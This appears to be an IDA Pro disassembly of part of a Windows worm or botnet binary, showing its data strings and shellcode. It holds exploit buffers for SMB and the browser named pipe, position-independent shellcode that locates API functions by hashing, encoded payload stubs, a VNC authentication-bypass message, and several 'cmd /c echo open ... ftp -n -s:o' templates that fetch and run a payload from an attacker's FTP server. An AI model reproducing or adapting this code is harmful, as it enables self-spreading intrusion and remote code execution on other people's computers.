unk_4486D0	db  2Dh	; -		; DATA XREF: sub_40BE20+16Fo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_448704	db  2Dh	; -		; DATA XREF: sub_40BFD2+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_448720	db  2Dh	; -		; DATA XREF: sub_40BFD2+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_448740	db  2Dh	; -		; DATA XREF: sub_40C049+D7o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_2	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_448774	db  2Dh	; -		; DATA XREF: sub_40C049+137o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_35	db ' Failed to start server, error: <%d>.',0
		align 4
unk_4487A8	db  2Dh	; -		; DATA XREF: sub_40C049+1FFo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_4487DC	db  2Dh	; -		; DATA XREF: sub_40C049+25Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_36	db 'Failed to start server, error: <%d>.',0
		align 10h
unk_448810	db  2Dh	; -		; DATA XREF: sub_40C049+326o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_4	db '- Server started on Port: %d.',0
		align 10h
unk_448840	db  2Dh	; -		; DATA XREF: sub_40C049+386o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_37	db '- Failed to start server, error: <%d>.',0
unk_448878	db  2Dh	; -		; DATA XREF: sub_40C049+440o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_1	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_4488B4	db  2Dh	; -		; DATA XREF: sub_40C049+4C5o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_38	db ' Failed to start server, error: <%d>.',0
		align 4
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40C575+38o
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: .packed:0040C7A3o
		align 4
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0
					; DATA XREF: .packed:0040C7DAo
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: .packed:0040C847o
		align 10h
aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: .packed:loc_40C857o
		align 4
aSocketClosed_	db 'Socket closed.',0   ; DATA XREF: .packed:loc_40C86Bo
		align 4
unk_44896C	db  2Dh	; -		; DATA XREF: sub_40C87D+84o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4489A4	db  2Dh	; -		; DATA XREF: sub_40C87D+DCo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_4489CC	db  2Dh	; -		; DATA XREF: sub_40CA91+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 10h
unk_448A00	db  2Dh	; -		; DATA XREF: sub_40CA91+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_448A34	db  2Dh	; -		; DATA XREF: sub_40CA91+168o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_448A6C	db  2Dh	; -		; DATA XREF: sub_40CA91+1E0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_448AAC	db  2Dh	; -		; DATA XREF: sub_40CCE8+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_448AD4	db  2Dh	; -		; DATA XREF: sub_40CDB5+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_448AFC	db  2Dh	; -		; DATA XREF: sub_40CEA6+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_448B28	db  2Dh	; -		; DATA XREF: sub_40CEA6+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 8
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40D24D+B2o
		align 4
dword_448B64	dd 10FF8h, 0		; DATA XREF: sub_40D24D+6Ao
dword_448B6C	dd 10FF8h		; DATA XREF: sub_40D24D+79o
dword_448B70	dd 7FFDF020h, 0		; DATA XREF: sub_40D24D+162o
dword_448B78	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D667+78o
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_448C00	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D667+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_448C30	dd 0			; DATA XREF: sub_40D667+44o
		dd 800000D4h, 2	dup(0)
unk_448C40	db  81h	; 		; DATA XREF: sub_40D746+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_448C90	db 41h			; DATA XREF: sub_40D7E4+FFr
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_448CD8	proc near		; DATA XREF: .packed:0040DA9Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_448DD4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_448DEA
		mov	[esi+8], eax
		call	sub_448D9D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_448DEA
		mov	[esi+0Ch], eax
		call	sub_448D4F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_448DEA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_448CD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_448D4F	proc near		; CODE XREF: sub_448CD8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_448D78
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_448D4F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_448D78	proc near		; CODE XREF: sub_448D4F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_448D87:				; CODE XREF: sub_448D78+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_448D94
		inc	ebx
		jmp	short loc_448D87
; ---------------------------------------------------------------------------

loc_448D94:				; CODE XREF: sub_448D78+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_448D78	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_448D9D	proc near		; CODE XREF: sub_448CD8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_448DB5:				; CODE XREF: sub_448D9D+1Ej
		cmp	[ecx], ebx
		jz	short loc_448DBD
		mov	ecx, [ecx]
		jmp	short loc_448DB5
; ---------------------------------------------------------------------------

loc_448DBD:				; CODE XREF: sub_448D9D+1Aj
		mov	edx, edi

loc_448DBF:				; CODE XREF: sub_448D9D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_448DC9
		mov	edx, [edx+4]
		jmp	short loc_448DBF
; ---------------------------------------------------------------------------

loc_448DC9:				; CODE XREF: sub_448D9D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_448D9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_448DD4	proc near		; CODE XREF: sub_448CD8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_448DD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_448DEA	proc near		; CODE XREF: sub_448CD8+16p
					; sub_448CD8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_448E00:				; CODE XREF: sub_448DEA+33j
		jecxz	short loc_448E3A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_448E0D:				; CODE XREF: sub_448DEA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_448E19
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_448E0D
; ---------------------------------------------------------------------------

loc_448E19:				; CODE XREF: sub_448DEA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_448E00
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_448E3A:				; CODE XREF: sub_448DEA:loc_448E00j
					; sub_448DEA:loc_448E3Aj
		jmp	short loc_448E3A
sub_448DEA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_448E40	proc near		; DATA XREF: .packed:0040DA49o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_448E92
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_448E5D:				; CODE XREF: sub_448E40+38j
		jecxz	short loc_448E8D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_448E68:				; CODE XREF: sub_448E40+32j
		lodsb
		test	al, al
		jz	short loc_448E74
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_448E68
; ---------------------------------------------------------------------------

loc_448E74:				; CODE XREF: sub_448E40+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_448E5D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_448E8D:				; CODE XREF: sub_448E40:loc_448E5Dj
		mov	[esp+arg_0], ebx
		retn
sub_448E40	endp


; =============== S U B	R O U T	I N E =======================================



sub_448E92	proc near		; CODE XREF: sub_448E40+7p

; FUNCTION CHUNK AT 00448ECA SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_448EAB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_448EB6
; ---------------------------------------------------------------------------

loc_448EAB:				; CODE XREF: sub_448E92+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_448EB6:				; CODE XREF: sub_448E92+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_448ECA
sub_448E92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_448EBD	proc near		; CODE XREF: sub_448E92:loc_448ECAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_448EBD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448E92

loc_448ECA:				; CODE XREF: sub_448E92+29j
		call	sub_448EBD

loc_448ECF:				; DATA XREF: sub_40D1F2+1Bo
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_448E92
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_448ED4:				; DATA XREF: sub_40D24D+E8o
		jmp	short near ptr dword_448EDC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_448EDC	dd 0			; CODE XREF: .packed:loc_448ED4j
aCccc		db 'CCCC',0             ; DATA XREF: sub_40D24D+153o
		align 4
dword_448EE8	dd 3			; DATA XREF: sub_40D24D+246o
byte_448EEC	db 0A1h, 0		; DATA XREF: sub_40D24D+29Fo
word_448EEE	dw 30h			; DATA XREF: sub_40D24D+2CAo
dword_448EF0	dd 62B0606h, 2050501h	; DATA XREF: sub_40D24D+2F5o
aA_1:					; DATA XREF: sub_40D24D+320o
		unicode	0, <`>,0
		align 10h
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .packed:0040DA70o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_448F68	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40E29B+2A9o
; ---------------------------------------------------------------------------

loc_448F74:				; CODE XREF: .packed:00448F7Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_448F74
		inc	edi
		jz	short loc_448FBB
		and	eax, 952CE753h
		inc	esp
		jle	short loc_448FE3
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_448FBB:				; CODE XREF: .packed:00448F81j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_44901A+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_448FE0:				; CODE XREF: .packed:0044900Dj
		xor	[esi-25h], bl

loc_448FE3:				; CODE XREF: .packed:00448F89j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_448FFC:				; CODE XREF: .packed:0044902Fj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_448FE0
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_44901A:				; CODE XREF: .packed:00448FC1j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_4490A6
		jo	short loc_448FFC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_44903D+1
		add	bl, [edi]

loc_44903D:				; CODE XREF: .packed:00449039j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_449052+2
		cmp	ch, bh
		dec	edx

loc_449052:				; CODE XREF: .packed:0044904Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_4490A6:				; CODE XREF: .packed:0044902Dj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short near ptr dword_44912C
		sub	al, 0BCh
		jmp	near ptr 5446949Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_4490C8	dd 0EFFFC481h, 44FFFFh,	646E6957h, 2073776Fh, 2C34544Eh
					; DATA XREF: sub_40E29B+290o
					; .packed:00449104o
		dd 30303220h, 53282030h, 532D3050h, 293450h, 646E6957h
		dd 2073776Fh, 28205058h, 2B305053h, 29315053h, 0
		dd offset dword_4490C8+8
dword_449108	dd 42Ah			; DATA XREF: sub_40E29B+239r
dword_44910C	dd 3E8h			; DATA XREF: sub_40E29B+2B4r
dword_449110	dd 258h			; DATA XREF: sub_40E29B+286r
byte_449114	db 1			; DATA XREF: sub_40E29B+1EBr
					; sub_40E29B+2C2r
		align 4
		dd offset dword_4490C8+24h
		dd 2C6h, 264h, 0
		dd 1
dword_44912C	dd 20804h		; CODE XREF: .packed:004490B0j
					; DATA XREF: sub_40E19Fr ...
dword_449130	dd 2Eh			; DATA XREF: sub_40E29B+10o
dword_449134	dd 73255C5Ch, 6370695Ch, 24h ; DATA XREF: sub_40E29B+33o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40E29B+7Do
		align 4
dword_449154	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_40E29B+DAo
dword_449168	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40E29B+14Ao
; ---------------------------------------------------------------------------

loc_44917C:				; DATA XREF: sub_40E29B+20Do
		jmp	short near ptr dword_449180
; ---------------------------------------------------------------------------
		align 10h
dword_449180	dd 2 dup(0)		; CODE XREF: .packed:loc_44917Cj
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E794+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 10h
dword_449200	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E9ED+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 8
aCmdCEchoOpen_1	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E8D6+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
word_44A48C	dw 1			; DATA XREF: .packed:0040EB28r
		align 10h
dword_44A490	dd 20424652h, 64333025h, 3330252Eh, 0A64h ; DATA XREF: .packed:0040EBB4o
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .packed:0040ED51o
		align 10h
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40EE63+130o
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40F04F+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F2F1+1B9o
		align 10h
aSS_1		db '%s %s',0            ; DATA XREF: sub_40F2F1+237o
		align 4
aUser_1		db 'USER',0             ; DATA XREF: sub_40F2F1+248o
		align 10h
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40F2F1+25Do
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40F2F1+26Do
		align 10h
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F2F1+281o
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40F2F1+291o
		align 10h
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F2F1+2A5o
		align 10h
aRest		db 'REST',0             ; DATA XREF: sub_40F2F1+2B5o
		align 4
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F2F1+2C9o
		align 4
off_44A5CC	dd offset aKamel+4	; DATA XREF: sub_40F2F1+2D9o
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F2F1+2EDo
		align 10h
aType		db 'TYPE',0             ; DATA XREF: sub_40F2F1+2FDo
		align 2
aA_0		db 'A',0                ; DATA XREF: sub_40F2F1+314o
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F2F1+328o
aType_0		db 'TYPE',0             ; DATA XREF: sub_40F2F1+338o
		align 2
